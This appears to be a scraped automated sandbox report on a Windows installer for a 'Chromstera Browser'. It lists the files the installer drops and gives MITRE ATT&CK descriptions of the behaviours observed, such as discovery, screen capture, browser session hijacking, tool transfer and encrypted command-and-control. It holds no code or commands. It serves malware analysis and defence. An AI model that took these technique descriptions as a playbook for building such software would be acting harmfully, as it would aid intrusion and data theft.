
Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Config.Msi\6bc77e.rbs

C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe

C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.ini

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\New

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\Up

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\aischeduler2.dll

C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\banner.jpg

Windows Analysis Report
setup.exe

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.
Tactics:	Collection
Data Sources:	Logon Session: Logon Session Creation, Process: Process Access, Process: Process Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre